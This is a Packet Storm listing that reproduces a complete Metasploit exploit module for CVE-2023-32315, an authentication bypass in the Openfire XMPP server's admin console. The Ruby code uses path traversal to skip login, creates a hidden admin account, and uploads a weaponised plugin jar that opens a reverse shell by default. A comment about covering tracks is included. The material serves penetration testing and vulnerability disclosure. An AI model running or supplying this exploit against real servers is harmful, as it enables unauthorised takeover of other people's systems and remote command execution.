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packetstormH00die-gr3y, metasploit.comPACKETSTORM:173607
HistoryJul 19, 2023 - 12:00 a.m.

Openfire Authentication Bypass / Remote Code Execution

2023-07-1900:00:00
h00die-gr3y, metasploit.com
packetstormsecurity.com
152
openfire
xmpp
path traversal
unauthenticated
remote code execution
management plugin
upload

EPSS

0.974

Percentile

99.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/zip'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Openfire authentication bypass with RCE plugin',  
'Description' => %q{  
Openfire is an XMPP server licensed under the Open Source Apache License.  
Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack  
via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment  
in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for  
administrative users.  
This module will use the vulnerability to create a new admin user that will be used to upload a Openfire management plugin  
weaponised with java native payload that triggers an RCE.  
This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.  
The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the  
first version on the 4.8 branch, which is version 4.8.0.  
},  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module  
],  
'References' => [  
['CVE', '2023-32315'],  
['URL', 'https://attackerkb.com/topics/7Tf5YGY3oT/cve-2023-32315'],  
['URL', 'https://github.com/miko550/CVE-2023-32315'],  
['URL', 'https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm']  
],  
'License' => MSF_LICENSE,  
'Platform' => [ 'java' ],  
'Privileged' => false,  
'Arch' => [ ARCH_JAVA ],  
'Targets' => [  
[  
'Java Universal',  
{  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'DefaultOptions' => {  
'PAYLOAD' => 'java/shell/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-05-26',  
'DefaultOptions' => {  
'SSL' => false,  
'RPORT' => 9090  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),  
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),  
OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]),  
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),  
OptString.new('ADMINNAME', [ false, 'Openfire admin user name, (default: random)' ]),  
]  
)  
end  
  
def get_version  
# get Openfire version number from the admin console login page  
openfire_version = nil  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.jsp'),  
'ctype' => 'application/x-www-form-urlencoded'  
})  
if res && res.code == 200  
version = res.body.match(/Openfire,\s*\D*:\s*\d\.\d{1,2}\.\d/)  
openfire_version = Rex::Version.new(version[0].split(':')[1].strip) unless version.nil?  
end  
  
openfire_version  
end  
  
def auth_bypass  
# bypass authentication using path traversal vulnerability and return true if cookie_jar is filled (JSESSION-ID and CSRF) else return false.  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-groups.jsp'),  
'ctype' => 'application/x-www-form-urlencoded',  
'keep_cookies' => true  
})  
return false if cookie_jar.cookies.empty?  
  
cookie_jar.cookies.each do |cookie|  
print_status(cookie.to_s)  
end  
return true  
end  
  
def add_admin_user  
# add an admin user using path traversal vulnerability using the cookies retrieved from authentication bypass.  
# returns admin login hash with random generated username and password  
@admin_login = {}  
username = datastore['ADMINNAME'] || Rex::Text.rand_text_alpha_lower(8..15)  
password = Rex::Text.rand_password(8..10)  
cookie_jar.cookies.each do |cookie|  
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-create.jsp'),  
'ctype' => 'application/x-www-form-urlencoded',  
'keep_cookies' => true,  
'vars_get' => {  
'csrf' => @csrf_token.to_s,  
'username' => username.to_s,  
'password' => password.to_s,  
'passwordConfirm' => password.to_s,  
'isadmin' => 'on',  
'create' => 'Create+User'  
}  
})  
# path traversal throws a java exception error 500 and/or returns a 200 OK code not matter if the user is added or not,  
# so we have to check during the login of the new admin user if we have been successful here  
if res && res.code == 200 || res.code == 500  
@admin_login['username'] = username  
@admin_login['password'] = password  
end  
return @admin_login  
end  
  
def login_admin_user  
# login using admin hash with admin username and password  
# returns true if login successful else returns false  
cookie_jar.cookies.each do |cookie|  
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?  
end  
  
res = send_request_cgi!({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login.jsp'),  
'ctype' => 'application/x-www-form-urlencoded',  
'keep_cookies' => true,  
'vars_post' => {  
'url' => '%2Findex.jsp',  
'login' => 'true',  
'csrf' => @csrf_token.to_s,  
'username' => @admin_login['username'].to_s,  
'password' => @admin_login['password'].to_s  
}  
})  
if res && res.code == 200 && res.body.match(/login box/).nil?  
store_valid_credential(user: @admin_login['username'], private: @admin_login['password'], proof: cookie_jar.cookies)  
return true  
else  
return false  
end  
end  
  
def prepare_plugin_jar  
# prepares the plugin foundation that will host the payload  
files = [  
[ 'logo_large.gif' ],  
[ 'logo_small.gif' ],  
[ 'readme.html' ],  
[ 'changelog.html' ],  
[ 'lib', 'plugin-metasploit.jar' ]  
]  
  
jar = Rex::Zip::Jar.new  
jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin'))  
  
@plugin_name = datastore['PLUGINNAME'] || Rex::Text.rand_text_alphanumeric(8..15)  
plugin_author = datastore['PLUGINAUTHOR'] || Rex::Text.rand_text_alphanumeric(8..15)  
plugin_desc = datastore['PLUGINDESC'] || Rex::Text.rand_text_alphanumeric(8..15)  
  
plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'))  
plugin_xml.gsub!(/PLUGINNAME/, @plugin_name)  
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)  
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)  
  
jar.add_file('plugin.xml', plugin_xml)  
return jar  
end  
  
def upload_and_execute_plugin(plugin_jar)  
# upload and execute Openfire plugin with encoded payload  
# returns true if upload is successful else returns false  
  
# construct multipart form data  
form_data = Rex::MIME::Message.new  
form_data.add_part(plugin_jar.to_s, 'application/x-java-archive', 'binary', "form-data; name=\"uploadfile\"; filename=\"#{@plugin_name}.jar\"")  
  
# extract the csrf token  
cookie_jar.cookies.each do |cookie|  
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'plugin-admin.jsp'),  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'keep_cookies' => true,  
'data' => form_data.to_s,  
'vars_get' => {  
'uploadplugin' => nil,  
'csrf' => @csrf_token.to_s  
}  
})  
# with a successfull upload and execution of the plugin, no response is returned.  
return true unless res  
# safety check if, for whatever reason, we get a 302 response back  
if res.code == 302 && res.headers.to_s.match(/uploadsuccess=true/)  
return true  
else  
return false  
end  
end  
  
def check  
openfire_version = get_version  
return CheckCode::Safe if openfire_version.nil?  
# check first for patched versions  
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.6.8')  
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.7.5')  
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.8.0')  
  
if openfire_version < Rex::Version.new('4.8.0') && openfire_version >= Rex::Version.new('3.10.0')  
CheckCode::Appears("Openfire version is #{openfire_version}")  
else  
CheckCode::Safe("Openfire version is #{openfire_version}")  
end  
end  
  
def exploit  
# gain access exploiting path traversal vulnerability  
print_status('Grabbing the cookies.')  
fail_with(Failure::NoAccess, 'Authentication bypass is not successful.') unless auth_bypass  
  
# add a new admin user  
print_status('Adding a new admin user.')  
fail_with(Failure::NoAccess, 'Adding a new admin user is not successful.') if add_admin_user.empty?  
  
# login with new admin account  
print_status("Logging in with admin user \"#{@admin_login['username']}\" and password \"#{@admin_login['password']}\".")  
fail_with(Failure::NoAccess, 'Login is not successful.') unless login_admin_user  
  
# prepare Openfire plugin with payload  
plugin = prepare_plugin_jar  
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)  
plugin.build_manifest  
  
# upload and execute Openfire plugin with payload  
print_status("Upload and execute plugin \"#{@plugin_name}\" with payload \"#{datastore['PAYLOAD']}\".")  
fail_with(Failure::PayloadFailed, 'Upload and/or execution of the plugin is not successful.') unless upload_and_execute_plugin(plugin.pack)  
  
# cover our tracks!!!  
# remove plugin and newly added admin user  
# Automatic removal of plugin and admin user might cause instability in the application,  
# so remove it manually in Openfire Management console after the exploit is completed.  
print_warning("Plugin \"#{@plugin_name}\" need manually clean-up via Openfire Admin console.")  
print_warning("Admin user \"#{@admin_login['username']}\" need manually clean-up via Openfire Admin console.")  
end  
end  
`